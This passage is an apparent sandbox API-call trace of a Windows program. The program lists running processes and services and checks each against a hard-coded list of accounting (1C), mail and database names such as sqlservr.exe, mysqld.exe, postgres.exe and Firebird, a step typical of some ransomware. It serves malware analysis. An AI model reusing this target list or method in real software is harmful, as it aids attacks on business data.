	[0256.209] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0256.209] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0256.209] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0256.209] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0256.209] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0256.209] lstrlenW (lpString="csrss.exe") returned 9
	[0256.209] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0256.209] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0256.209] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0256.209] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0256.209] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0256.209] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0256.209] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0256.209] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0256.210] lstrlenW (lpString="wininit.exe") returned 11
	[0256.210] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0256.210] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0256.210] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0256.210] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0256.210] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0256.210] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0256.210] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0256.210] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0256.210] lstrlenW (lpString="csrss.exe") returned 9
	[0256.210] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0256.210] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0256.210] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0256.210] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0256.210] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0256.210] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0256.210] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0256.210] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0256.211] lstrlenW (lpString="winlogon.exe") returned 12
	[0256.211] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0256.211] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0256.211] lstrlenW (lpString="services.exe") returned 12
	[0256.211] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0256.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0256.211] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0256.212] lstrlenW (lpString="lsass.exe") returned 9
	[0256.212] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0256.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0256.212] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0256.212] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0256.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0256.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0256.212] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0256.212] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0256.212] lstrlenW (lpString="lsm.exe") returned 7
	[0256.212] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0256.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0256.212] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0256.212] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0256.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0256.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0256.212] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0256.212] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0256.213] lstrlenW (lpString="svchost.exe") returned 11
	[0256.213] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0256.213] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0256.213] lstrlenW (lpString="svchost.exe") returned 11
	[0256.213] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0256.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0256.214] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0256.214] lstrlenW (lpString="svchost.exe") returned 11
	[0256.214] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0256.214] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0256.214] lstrlenW (lpString="svchost.exe") returned 11
	[0256.214] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0256.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0256.214] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0256.215] lstrlenW (lpString="svchost.exe") returned 11
	[0256.215] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0256.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0256.215] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0256.215] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0256.215] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0256.215] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0256.215] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0256.215] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0256.215] lstrlenW (lpString="audiodg.exe") returned 11
	[0256.215] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0256.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0256.215] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0256.216] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0256.216] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0256.216] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0256.216] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0256.216] lstrlenW (lpString="svchost.exe") returned 11
	[0256.216] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0256.216] lstrlenW (lpString="userinit.exe") returned 12
	[0256.216] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0256.217] lstrlenW (lpString="explorer.exe") returned 12
	[0256.217] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0256.217] lstrlenW (lpString="dwm.exe") returned 7
	[0256.217] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0256.217] lstrlenW (lpString="svchost.exe") returned 11
	[0256.217] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0256.218] lstrlenW (lpString="swpesp.exe") returned 10
	[0256.218] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0256.218] lstrlenW (lpString="spoolsv.exe") returned 11
	[0256.218] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0256.219] lstrlenW (lpString="dllhost.exe") returned 11
	[0256.219] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0256.219] lstrlenW (lpString="taskhost.exe") returned 12
	[0256.219] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0256.219] lstrlenW (lpString="svchost.exe") returned 11
	[0256.219] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0256.219] lstrlenW (lpString="reader_sl.exe") returned 13
	[0256.219] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0256.220] CloseHandle (hObject=0x344) returned 1
	[0256.220] Sleep (dwMilliseconds=0x1f4) 
	[0256.784] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280838
	[0257.114] EnumServicesStatusExW (in: hSCManager=0x4280838, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0257.118] GetLastError () returned 0xea
	[0257.119] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc10) returned 0x41f5d68
	[0257.119] EnumServicesStatusExW (in: hSCManager=0x4280838, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc10, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0257.119] CloseServiceHandle (hSCObject=0x4280838) returned 1
	[0257.142] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0257.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0257.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0257.142] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0257.142] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0257.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0257.142] lstrlenW (lpString="AudioSrv") returned 8
	[0257.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0257.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0257.143] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0257.143] lstrlenW (lpString="BFE") returned 3
	[0257.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0257.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0257.143] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0257.143] lstrlenW (lpString="CryptSvc") returned 8
	[0257.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0257.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0257.143] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0257.143] lstrlenW (lpString="CscService") returned 10
	[0257.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0257.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0257.143] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0257.143] lstrlenW (lpString="DcomLaunch") returned 10
	[0257.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0257.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0257.143] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0257.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0257.143] lstrlenW (lpString="Dhcp") returned 4
	[0257.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0257.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0257.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0257.144] lstrlenW (lpString="Dnscache") returned 8
	[0257.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0257.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0257.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0257.144] lstrlenW (lpString="DPS") returned 3
	[0257.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0257.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0257.144] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0257.144] lstrlenW (lpString="eventlog") returned 8
	[0257.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0257.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0257.144] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0257.144] lstrlenW (lpString="EventSystem") returned 11
	[0257.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0257.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0257.144] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0257.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0257.144] lstrlenW (lpString="gpsvc") returned 5
	[0257.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0257.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0257.144] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0257.144] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0257.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0257.145] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0257.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0257.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0257.145] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0257.145] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0257.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0257.145] lstrlenW (lpString="lmhosts") returned 7
	[0257.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0257.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0257.145] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0257.145] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0257.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0257.145] lstrlenW (lpString="MMCSS") returned 5
	[0257.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0257.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0257.145] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0257.145] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0257.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0257.145] lstrlenW (lpString="MpsSvc") returned 6
	[0257.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0257.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0257.145] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0257.145] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0257.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0257.145] lstrlenW (lpString="NlaSvc") returned 6
	[0257.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0257.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0257.145] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0257.145] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0257.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0257.145] lstrlenW (lpString="nsi") returned 3
	[0257.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0257.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
